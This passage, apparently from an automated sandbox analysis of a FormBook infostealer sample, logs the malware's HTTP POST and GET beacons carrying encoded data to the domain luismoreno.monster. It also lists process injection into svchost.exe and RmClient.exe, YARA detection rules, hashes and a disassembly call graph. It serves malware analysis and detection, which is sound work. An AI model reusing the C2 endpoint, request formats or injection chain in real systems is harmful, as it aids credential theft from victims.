                                    22192.168.2.449759192.241.156.13680736C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exe
                                    TimestampBytes transferredDirectionData
                                    Sep 13, 2024 19:31:58.078908920 CEST764OUTPOST /3t5s/ HTTP/1.1
                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                    Accept-Encoding: gzip, deflate, br
                                    Accept-Language: en-US,en
                                    Host: www.luismoreno.monster
                                    Content-Length: 219
                                    Content-Type: application/x-www-form-urlencoded
                                    Cache-Control: max-age=0
                                    Connection: close
                                    Origin: http://www.luismoreno.monster
                                    Referer: http://www.luismoreno.monster/3t5s/
                                    User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; D10F Build/KTU84Q) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
                                    Data Raw: 34 4e 3d 45 38 42 41 4a 78 6c 2b 6e 56 47 73 47 79 6e 52 4c 6f 78 44 44 58 59 43 68 74 6c 4c 54 42 5a 36 50 73 65 4b 66 36 64 75 54 7a 6a 49 45 34 6c 4c 53 47 55 71 73 6a 33 74 68 69 39 42 76 4d 50 61 47 47 47 74 33 44 52 44 76 4a 63 63 75 41 36 30 4a 32 6e 66 6b 47 31 44 69 4c 53 52 33 62 78 45 75 4d 4f 4e 52 63 34 45 41 57 62 43 77 74 36 73 71 5a 4c 36 42 44 50 4c 75 68 79 44 61 67 51 6a 35 2b 6a 77 76 48 7a 4a 5a 34 67 33 33 71 51 5a 46 59 43 53 30 6c 6b 79 7a 67 2b 72 35 57 61 30 35 70 41 33 74 66 51 73 64 58 7a 5a 59 68 62 62 65 44 50 79 67 49 53 39 38 75 5a 52 5a 70 62 74 42 4e 57 34 62 77 33 50 4b 68 6e 62 79 34 72 78 71 46 65 58 69 63 6f 3d
                                    Data Ascii: 4N=E8BAJxl+nVGsGynRLoxDDXYChtlLTBZ6PseKf6duTzjIE4lLSGUqsj3thi9BvMPaGGGt3DRDvJccuA60J2nfkG1DiLSR3bxEuMONRc4EAWbCwt6sqZL6BDPLuhyDagQj5+jwvHzJZ4g33qQZFYCS0lkyzg+r5Wa05pA3tfQsdXzZYhbbeDPygIS98uZRZpbtBNW4bw3PKhnby4rxqFeXico=
                                    Sep 13, 2024 19:31:58.521198034 CEST386INHTTP/1.1 404 Not Found
                                    Server: nginx/1.24.0 (Ubuntu)
                                    Date: Fri, 13 Sep 2024 17:31:58 GMT
                                    Content-Type: text/html
                                    Transfer-Encoding: chunked
                                    Connection: close
                                    Content-Encoding: gzip
                                    Data Raw: 62 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 31 0b c2 30 10 85 77 c1 ff 70 6e 3a a4 69 a5 63 c8 22 0a 0e ba 88 3f 20 f5 ce 36 90 5e 24 a6 60 ff bd a9 b6 20 ce 8e 8e f7 ee 7b 8f c7 53 4d 6c 9d 9e cf 54 43 06 b5 8a 36 3a d2 65 5e c2 d1 47 d8 f9 8e 51 c9 b7 a8 e4 0b 49 68 e5 b1 1f 2c 17 e2 48 41 ab a6 f8 76 24 45 c9 f1 3d 64 27 68 bc b8 b6 fc 90 45 b6 2e b3 1c 96 e7 aa e3 d8 ad 3e 59 39 a5 cb a9 d9 42 08 30 70 33 88 96 6b 88 1e d0 de 4d e5 08 0e a7 fd 16 0c 23 6c 9a e0 5b 82 6b b0 c4 e8 7a a0 10 7c 48 8e 9a 40 88 a1 e9 3f e2 97 5b 3c 01 f0 75 41 1e 34 02 00 00 0d 0a 30 0d 0a 0d 0a
                                    Data Ascii: b910wpn:ic"? 6^$` {SMlTC6:e^GQIh,HAv$E=d'hE.>Y9B0p3kM#l[kz|H@?[<uA40


                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                    23192.168.2.449760192.241.156.13680736C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exe
                                    TimestampBytes transferredDirectionData
                                    Sep 13, 2024 19:32:00.624131918 CEST1236OUTPOST /3t5s/ HTTP/1.1
                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                    Accept-Encoding: gzip, deflate, br
                                    Accept-Language: en-US,en
                                    Host: www.luismoreno.monster
                                    Content-Length: 10299
                                    Content-Type: application/x-www-form-urlencoded
                                    Cache-Control: max-age=0
                                    Connection: close
                                    Origin: http://www.luismoreno.monster
                                    Referer: http://www.luismoreno.monster/3t5s/
                                    User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; D10F Build/KTU84Q) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
                                    Data Raw: 34 4e 3d 45 38 42 41 4a 78 6c 2b 6e 56 47 73 47 79 6e 52 4c 6f 78 44 44 58 59 43 68 74 6c 4c 54 42 5a 36 50 73 65 4b 66 36 64 75 54 7a 72 49 45 4b 64 4c 54 6b 38 71 74 6a 33 74 2f 53 39 4d 76 4d 4f 41 47 46 32 78 33 44 64 39 76 4d 51 63 76 69 79 30 4d 44 4c 66 2f 57 31 44 75 72 53 55 34 37 78 64 75 4d 65 52 52 63 49 45 41 57 62 43 77 73 4b 73 74 49 4c 36 53 7a 50 45 35 52 79 66 4d 51 52 4d 35 2b 37 47 76 48 2b 32 61 4a 41 33 35 71 41 5a 41 71 71 53 79 31 6c 55 79 67 2f 30 35 57 6d 52 35 70 73 37 74 66 4d 47 64 51 37 5a 61 58 4b 6a 4b 77 2f 74 2f 4b 2b 34 68 4f 31 46 52 5a 48 54 4f 61 6e 45 66 41 2f 39 66 51 37 74 30 61 69 41 39 48 4b 48 67 34 6f 46 61 53 39 33 32 4d 45 71 57 36 47 6b 38 2f 4d 55 77 50 69 39 58 42 66 37 77 69 53 51 36 54 54 4f 68 7a 48 30 66 38 46 47 74 78 71 61 66 77 39 44 70 76 74 35 33 64 6a 42 30 30 6c 51 6e 78 7a 59 6b 34 4f 64 46 2b 58 51 78 70 4d 73 32 73 76 4a 69 5a 42 52 36 75 54 71 70 47 44 72 66 36 41 31 63 78 74 4d 79 32 43 72 52 57 65 5a 53 6d 32 69 55 50 6c 41 33 46 67 [TRUNCATED]
                                    Data Ascii: 4N=E8BAJxl+nVGsGynRLoxDDXYChtlLTBZ6PseKf6duTzrIEKdLTk8qtj3t/S9MvMOAGF2x3Dd9vMQcviy0MDLf/W1DurSU47xduMeRRcIEAWbCwsKstIL6SzPE5RyfMQRM5+7GvH+2aJA35qAZAqqSy1lUyg/05WmR5ps7tfMGdQ7ZaXKjKw/t/K+4hO1FRZHTOanEfA/9fQ7t0aiA9HKHg4oFaS932MEqW6Gk8/MUwPi9XBf7wiSQ6TTOhzH0f8FGtxqafw9Dpvt53djB00lQnxzYk4OdF+XQxpMs2svJiZBR6uTqpGDrf6A1cxtMy2CrRWeZSm2iUPlA3Fg8OFqx1mgsIXSLhSN+cWXDErWRckkRAJHmUcVgW8MQ/9hpdqQyrXQsK8G0qDhii5XX7U4pVEyKHZahSEWx1M2mv0K3G7itpcwi+NdbkB+5NdxJrao4a9Fr8dmam/P10cgSWb1ie4Lu5HcBzueSnQuSUe0grVNCLqNRndCafxwzL2EdgCxtP/V1J25WHD3jM5DfB/yL3vyW+4RKjzqEp3c7oKYcnJBg1WEppsuuPmr48dScB16dY11oMR8FP1pLfA9qti1jQyDo5nYZR87UseBy/NcXIwHm96u01Q2QANl40De75rKewBBMPiej6FB9w/u+WY7Iz3u/7+LJyftGLfeTU+mrnL4MDG
                                    Sep 13, 2024 19:32:00.624156952 CEST9610OUTData Raw: 4d 4b 74 77 31 50 4a 61 4a 56 4b 4d 61 2f 72 76 72 4b 70 4a 53 68 75 69 58 65 6d 57 61 4c 52 58 66 61 50 35 4b 56 47 51 4c 35 4f 53 49 4a 79 55 6b 35 48 35 48 4a 59 37 58 4e 52 50 77 32 58 32 6d 2b 55 35 48 4f 30 6b 36 4a 77 6c 61 41 4d 62 62 39
                                    Data Ascii: MKtw1PJaJVKMa/rvrKpJShuiXemWaLRXfaP5KVGQL5OSIJyUk5H5HJY7XNRPw2X2m+U5HO0k6JwlaAMbb9u01ju1Udo/Z48b2haDOA/9kj93sUcF+7i09BHWGiD1JzyO6s4lZ2njrw9YoWvi5IcKRZqPM4Zkd82e67rzd/KiRI4BEQM7CCWIk+ePi6qgNEVYhEeUfnXqfmR4ZfZBFxULrcrQcKBeNGNd8xF8rP1UBFU8P2WYHpa
                                    Sep 13, 2024 19:32:01.061575890 CEST386INHTTP/1.1 404 Not Found
                                    Server: nginx/1.24.0 (Ubuntu)
                                    Date: Fri, 13 Sep 2024 17:32:01 GMT
                                    Content-Type: text/html
                                    Transfer-Encoding: chunked
                                    Connection: close
                                    Content-Encoding: gzip
                                    Data Raw: 62 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 31 0b c2 30 10 85 77 c1 ff 70 6e 3a a4 69 a5 63 c8 22 0a 0e ba 88 3f 20 f5 ce 36 90 5e 24 a6 60 ff bd a9 b6 20 ce 8e 8e f7 ee 7b 8f c7 53 4d 6c 9d 9e cf 54 43 06 b5 8a 36 3a d2 65 5e c2 d1 47 d8 f9 8e 51 c9 b7 a8 e4 0b 49 68 e5 b1 1f 2c 17 e2 48 41 ab a6 f8 76 24 45 c9 f1 3d 64 27 68 bc b8 b6 fc 90 45 b6 2e b3 1c 96 e7 aa e3 d8 ad 3e 59 39 a5 cb a9 d9 42 08 30 70 33 88 96 6b 88 1e d0 de 4d e5 08 0e a7 fd 16 0c 23 6c 9a e0 5b 82 6b b0 c4 e8 7a a0 10 7c 48 8e 9a 40 88 a1 e9 3f e2 97 5b 3c 01 f0 75 41 1e 34 02 00 00 0d 0a 30 0d 0a 0d 0a
                                    Data Ascii: b910wpn:ic"? 6^$` {SMlTC6:e^GQIh,HAv$E=d'hE.>Y9B0p3kM#l[kz|H@?[<uA40


                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                    24192.168.2.449761192.241.156.13680736C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exe
                                    TimestampBytes transferredDirectionData
                                    Sep 13, 2024 19:32:03.233035088 CEST473OUTGET /3t5s/?RBEDm=CZp0JDSHidn4fXc&4N=J+pgKEY4jhOGHRm1OdtIGyQNufdjV05lDOa6EPhtVEvBE7NkekcBgh6NmTxhkIXGd3q71wRb9pYcuSS+PjWA+ytV98iLu4MLifm6YZlEH2HZyoyRqozUGRs= HTTP/1.1
                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                    Accept-Language: en-US,en
                                    Host: www.luismoreno.monster
                                    Connection: close
                                    User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; D10F Build/KTU84Q) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36
                                    Sep 13, 2024 19:32:03.679369926 CEST723INHTTP/1.1 404 Not Found
                                    Server: nginx/1.24.0 (Ubuntu)
                                    Date: Fri, 13 Sep 2024 17:32:03 GMT
                                    Content-Type: text/html
                                    Content-Length: 564
                                    Connection: close
                                    Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED]
                                    Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                    Statistics

                                    CPU Usage

                                    Click to jump to process

                                    Memory Usage

                                    Click to jump to process

                                    High Level Behavior Distribution

                                    Click to dive into process behavior distribution

                                    Behavior

                                    Click to jump to process

                                    System Behavior

                                    General

                                    Target ID:0
                                    Start time:13:29:02
                                    Start date:13/09/2024
                                    Path:C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe
                                    Wow64 process (32bit):true
                                    Commandline:"C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe"
                                    Imagebase:0x8b0000
                                    File size:774'144 bytes
                                    MD5 hash:A14A692229DDBFA219CEC344079DA149
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Reputation:low
                                    Has exited:true

                                    General

                                    Target ID:1
                                    Start time:13:29:03
                                    Start date:13/09/2024
                                    Path:C:\Windows\SysWOW64\svchost.exe
                                    Wow64 process (32bit):true
                                    Commandline:"C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe"
                                    Imagebase:0xd10000
                                    File size:46'504 bytes
                                    MD5 hash:1ED18311E3DA35942DB37D15FA40CC5B
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Yara matches:
                                    • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.2230993279.0000000002DB0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                    • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.2230993279.0000000002DB0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                    • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.2230760377.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                    • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.2230760377.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                    • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.2231650264.0000000004550000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                    • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.2231650264.0000000004550000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                    Reputation:high
                                    Has exited:true

                                    General

                                    Target ID:5
                                    Start time:13:29:45
                                    Start date:13/09/2024
                                    Path:C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exe
                                    Wow64 process (32bit):true
                                    Commandline:"C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exe"
                                    Imagebase:0x9c0000
                                    File size:140'800 bytes
                                    MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                    Has elevated privileges:false
                                    Has administrator privileges:false
                                    Programmed in:C, C++ or other language
                                    Yara matches:
                                    • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3583965590.0000000003120000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                    • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.3583965590.0000000003120000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
                                    Reputation:high
                                    Has exited:false

                                    General

                                    Target ID:6
                                    Start time:13:29:47
                                    Start date:13/09/2024
                                    Path:C:\Windows\SysWOW64\RmClient.exe
                                    Wow64 process (32bit):true
                                    Commandline:"C:\Windows\SysWOW64\RmClient.exe"
                                    Imagebase:0x290000
                                    File size:15'360 bytes
                                    MD5 hash:CE765DCC7CDFDC1BFD94CCB772C75E41
                                    Has elevated privileges:false
                                    Has administrator privileges:false
                                    Programmed in:C, C++ or other language
                                    Yara matches:
                                    • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3582283937.0000000000140000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                    • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.3582283937.0000000000140000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                    • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3583910369.0000000002770000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                    • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.3583910369.0000000002770000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                    • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3582610817.0000000002600000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                    • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.3582610817.0000000002600000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                    Reputation:low
                                    Has exited:false

                                    General

                                    Target ID:7
                                    Start time:13:30:01
                                    Start date:13/09/2024
                                    Path:C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exe
                                    Wow64 process (32bit):true
                                    Commandline:"C:\Program Files (x86)\VbNPCBEWeLCNbKJlQMrGwHJUwsZRqjHMXHyTPNUse\ORAQROHXYZcgef.exe"
                                    Imagebase:0x9c0000
                                    File size:140'800 bytes
                                    MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                    Has elevated privileges:false
                                    Has administrator privileges:false
                                    Programmed in:C, C++ or other language
                                    Reputation:high
                                    Has exited:false

                                    General

                                    Target ID:8
                                    Start time:13:30:13
                                    Start date:13/09/2024
                                    Path:C:\Program Files\Mozilla Firefox\firefox.exe
                                    Wow64 process (32bit):false
                                    Commandline:"C:\Program Files\Mozilla Firefox\Firefox.exe"
                                    Imagebase:0x7ff6bf500000
                                    File size:676'768 bytes
                                    MD5 hash:C86B1BE9ED6496FE0E0CBE73F81D8045
                                    Has elevated privileges:false
                                    Has administrator privileges:false
                                    Programmed in:C, C++ or other language
                                    Reputation:high
                                    Has exited:true

                                    Disassembly

                                    Reset < >

                                      Execution Graph

                                      Execution Coverage:3.2%
                                      Dynamic/Decrypted Code Coverage:0.9%
                                      Signature Coverage:5.5%
                                      Total number of Nodes:1974
                                      Total number of Limit Nodes:58
                                      execution_graph 90816 901190 90817 901198 90816->90817 90820 8bd9ab 90816->90820 90863 917076 22 API calls __fread_nolock 90817->90863 90819 9011ab 90864 916fef 22 API calls __fread_nolock 90819->90864 90843 8bc67d 90820->90843 90823 9011ce 90824 90120f 90823->90824 90865 93566c 54 API calls _wcslen 90823->90865 90828 901230 90828->90820 90866 917076 22 API calls __fread_nolock 90828->90866 90830 8bdb53 90832 901551 90830->90832 90837 8bdb97 messages 90830->90837 90831 8bda90 90831->90830 90841 8bdc50 messages 90831->90841 90867 8bc1c3 90831->90867 90871 8bc5e7 23 API calls messages 90832->90871 90839 90159a 90837->90839 90860 8bc5e7 23 API calls messages 90837->90860 90838 8bdc35 90838->90839 90861 8bc000 22 API calls messages 90838->90861 90842 8bdcac 90841->90842 90862 8cd593 22 API calls messages 90841->90862 90844 8bc68e 90843->90844 90845 9006b6 90843->90845 90846 8cfd5b 22 API calls 90844->90846 90847 8bc695 90846->90847 90872 8bc6c9 90847->90872 90850 8cfd5b 90853 8cfd60 90850->90853 90851 8de99c ___std_exception_copy 21 API calls 90851->90853 90852 8cfd7a 90852->90831 90853->90851 90853->90852 90855 8cfd7c 90853->90855 90906 8d4e3d 7 API calls 2 library calls 90853->90906 90856 8d05ed 90855->90856 90907 8d3234 RaiseException 90855->90907 90908 8d3234 RaiseException 90856->90908 90859 8d060a 90859->90831 90860->90838 90861->90841 90862->90841 90863->90819 90864->90823 90865->90828 90866->90828 90868 8bc1e6 __fread_nolock 90867->90868 90869 8bc1d7 90867->90869 90868->90830 90869->90868 90870 8cfd8b 22 API calls 90869->90870 90870->90868 90871->90839 90876 8bc6d9 90872->90876 90873 8bc6b2 90873->90850 90874 8cfd5b 22 API calls 90874->90876 90876->90873 90876->90874 90877 8bc1c3 22 API calls 90876->90877 90878 8bc6c9 22 API calls 90876->90878 90879 8bc25d 90876->90879 90877->90876 90878->90876 90884 8cfd8b 90879->90884 90881 8bc272 90882 8cfd5b 22 API calls 90881->90882 90883 8bc280 90882->90883 90883->90876 90887 8cfd5b 90884->90887 90886 8cfd7a 90886->90881 90887->90886 90890 8cfd7c 90887->90890 90894 8de99c 90887->90894 90901 8d4e3d 7 API calls 2 library calls 90887->90901 90889 8d05ed 90903 8d3234 RaiseException 90889->90903 90890->90889 90902 8d3234 RaiseException 90890->90902 90893 8d060a 90893->90881 90899 8e37b0 _abort 90894->90899 90895 8e37ee 90905 8df269 20 API calls _abort 90895->90905 90897 8e37d9 RtlAllocateHeap 90898 8e37ec 90897->90898 90897->90899 90898->90887 90899->90895 90899->90897 90904 8d4e3d 7 API calls 2 library calls 90899->90904 90901->90887 90902->90889 90903->90893 90904->90899 90905->90898 90906->90853 90907->90856 90908->90859 90909 904b50 90918 8cd62d 90909->90918 90911 904b66 90913 904be1 90911->90913 90927 8b25c1 23 API calls 90911->90927 90917 905663 90913->90917 90929 9234ba 82 API calls __wsopen_s 90913->90929 90915 904bc1 90915->90913 90928 9219dd 22 API calls 90915->90928 90919 8cd64e 90918->90919 90920 8cd63b 90918->90920 90922 8cd681 90919->90922 90923 8cd653 90919->90923 90930 8bc5e7 23 API calls messages 90920->90930 90931 8bc5e7 23 API calls messages 90922->90931 90925 8cfd5b 22 API calls 90923->90925 90926 8cd645 90925->90926 90926->90911 90927->90915 90928->90913 90929->90917 90930->90926 90931->90926 90932 8b4b81 90935 8b4b9b 90932->90935 90936 8b4bb2 90935->90936 90937 8b4bb7 90936->90937 90938 8b4c16 90936->90938 90973 8b4c14 90936->90973 90939 8b4c90 PostQuitMessage 90937->90939 90940 8b4bc4 90937->90940 90942 8f39dd 90938->90942 90943 8b4c1c 90938->90943 90976 8b4b95 90939->90976 90945 8f3a5e 90940->90945 90946 8b4bcf 90940->90946 90941 8b4bfb NtdllDefWindowProc_W 90941->90976 90984 8b31ed 10 API calls 90942->90984 90947 8b4c48 SetTimer RegisterClipboardFormatW 90943->90947 90948 8b4c23 90943->90948 90999 91be4e 34 API calls ___scrt_fastfail 90945->90999 90952 8b4bd9 90946->90952 90953 8f3a4a 90946->90953 90954 8b4c71 CreatePopupMenu 90947->90954 90947->90976 90949 8f397e 90948->90949 90950 8b4c2c KillTimer 90948->90950 90962 8f39b9 MoveWindow 90949->90962 90963 8f3983 90949->90963 90980 8b4b1d Shell_NotifyIconW ___scrt_fastfail 90950->90980 90951 8f39fe 90985 8ce48c 42 API calls 90951->90985 90959 8f3a2f 90952->90959 90960 8b4be4 90952->90960 90998 91c07f 27 API calls ___scrt_fastfail 90953->90998 90954->90976 90959->90941 90997 910a1b 22 API calls 90959->90997 90965 8b4c7e 90960->90965 90971 8b4bef 90960->90971 90961 8f3a70 90961->90941 90961->90976 90962->90976 90966 8f3989 90963->90966 90967 8f39a8 SetFocus 90963->90967 90964 8b4c3f 90981 8b5adb DeleteObject DestroyWindow 90964->90981 90982 8b4c9a 44 API calls ___scrt_fastfail 90965->90982 90966->90971 90972 8f3992 90966->90972 90967->90976 90971->90941 90986 8b4b1d Shell_NotifyIconW ___scrt_fastfail 90971->90986 90983 8b31ed 10 API calls 90972->90983 90973->90941 90974 8b4c8e 90974->90976 90978 8f3a23 90987 8b56c2 90978->90987 90980->90964 90981->90976 90982->90974 90983->90976 90984->90951 90985->90971 90986->90978 90988 8b56ed ___scrt_fastfail 90987->90988 91000 8b6092 90988->91000 90992 8f40bd Shell_NotifyIconW 90993 8b5791 Shell_NotifyIconW 91004 8b57ae 90993->91004 90995 8b57a7 90995->90973 90996 8b5773 90996->90992 90996->90993 90997->90973 90998->90974 90999->90961 91001 8f42db 91000->91001 91002 8b5742 91000->91002 91001->91002 91003 8f42e4 DestroyCursor 91001->91003 91002->90996 91026 91c792 42 API calls _strftime 91002->91026 91003->91002 91005 8b57ca 91004->91005 91006 8b589e 91004->91006 91027 8b7c18 91005->91027 91006->90995 91009 8f40ca LoadStringW 91012 8f40e4 91009->91012 91010 8b57e5 91032 8b84e7 91010->91032 91018 8bc1c3 22 API calls 91012->91018 91020 8b581f ___scrt_fastfail 91012->91020 91013 8b57fa 91014 8b5807 91013->91014 91015 8f4100 91013->91015 91014->91012 91016 8b5811 91014->91016 91017 8b7cf8 22 API calls 91015->91017 91044 8b7cf8 91016->91044 91021 8f410e 91017->91021 91018->91020 91023 8b5884 Shell_NotifyIconW 91020->91023 91021->91020 91053 8b52b7 91021->91053 91023->91006 91024 8f4130 91025 8b52b7 22 API calls 91024->91025 91025->91020 91026->90996 91028 8cfd8b 22 API calls 91027->91028 91029 8b7c3d 91028->91029 91030 8cfd5b 22 API calls 91029->91030 91031 8b57d8 91030->91031 91031->91009 91031->91010 91033 8f5777 91032->91033 91034 8b84f7 _wcslen 91032->91034 91063 8bad22 91033->91063 91037 8b850d 91034->91037 91038 8b8532 91034->91038 91036 8f5780 91036->91036 91062 8b88bb 22 API calls 91037->91062 91040 8cfd5b 22 API calls 91038->91040 91042 8b853e 91040->91042 91041 8b8515 __fread_nolock 91041->91013 91043 8cfd8b 22 API calls 91042->91043 91043->91041 91045 8b7d0a 91044->91045 91046 8f563c 91044->91046 91073 8b7d1b 91045->91073 91083 9109c0 22 API calls __fread_nolock 91046->91083 91049 8b7d16 91049->91020 91050 8f5646 91051 8f5652 91050->91051 91052 8bc1c3 22 API calls 91050->91052 91052->91051 91054 8f3e1a 91053->91054 91055 8b52ce 91053->91055 91057 8cfd5b 22 API calls 91054->91057 91089 8b52df 91055->91089 91059 8f3e24 _wcslen 91057->91059 91058 8b52d9 91058->91024 91060 8cfd8b 22 API calls 91059->91060 91061 8f3e5d __fread_nolock 91060->91061 91062->91041 91064 8bad30 91063->91064 91066 8bad39 __fread_nolock 91063->91066 91064->91066 91067 8bc7c9 91064->91067 91066->91036 91068 8bc7d9 __fread_nolock 91067->91068 91069 8bc7dc 91067->91069 91068->91066 91070 8cfd5b 22 API calls 91069->91070 91071 8bc7e7 91070->91071 91072 8cfd8b 22 API calls 91071->91072 91072->91068 91074 8b7d2a 91073->91074 91079 8b7d5e __fread_nolock 91073->91079 91075 8f566d 91074->91075 91076 8b7d51 91074->91076 91074->91079 91078 8cfd5b 22 API calls 91075->91078 91084 8bbe83 91076->91084 91080 8f567c 91078->91080 91079->91049 91081 8cfd8b 22 API calls 91080->91081 91082 8f56b0 __fread_nolock 91081->91082 91083->91050 91085 8bbe99 91084->91085 91088 8bbe94 __fread_nolock 91084->91088 91086 8cfd8b 22 API calls 91085->91086 91087 9003ea 91085->91087 91086->91088 91087->91087 91088->91079 91090 8b52ef _wcslen 91089->91090 91091 8f3e7c 91090->91091 91092 8b5302 91090->91092 91094 8cfd5b 22 API calls 91091->91094 91093 8bbe83 22 API calls 91092->91093 91095 8b530f __fread_nolock 91093->91095 91096 8f3e86 91094->91096 91095->91058 91097 8cfd8b 22 API calls 91096->91097 91098 8f3eb6 __fread_nolock 91097->91098 91099 8bf6c0 91102 8bc315 91099->91102 91101 8bf6cc 91104 8bc336 91102->91104 91108 8bc38b 91102->91108 91106 8bc3ba 91104->91106 91104->91108 91109 8bc5e7 23 API calls messages 91104->91109 91105 9004e2 91105->91105 91106->91101 91108->91106 91110 9234ba 82 API calls __wsopen_s 91108->91110 91109->91108 91110->91105 91111 9035db 91127 8bf0b0 messages 91111->91127 91112 8bf411 PeekMessageW 91112->91127 91113 8bf2d5 91114 8bf107 GetInputState 91114->91112 91114->91127 91116 902899 TranslateAcceleratorW 91116->91127 91117 8bf304 timeGetTime 91117->91127 91118 8bf48f PeekMessageW 91118->91127 91119 8bf473 TranslateMessage DispatchMessageW 91119->91118 91120 8bf4af Sleep 91137 8bf4c0 91120->91137 91121 90374f Sleep 91121->91137 91122 8ce465 timeGetTime 91122->91137 91123 9029b5 timeGetTime 91224 8b25c1 23 API calls 91123->91224 91126 9037e6 GetExitCodeProcess 91130 903812 CloseHandle 91126->91130 91131 9037fc WaitForSingleObject 91126->91131 91127->91112 91127->91113 91127->91114 91127->91116 91127->91117 91127->91118 91127->91119 91127->91120 91127->91121 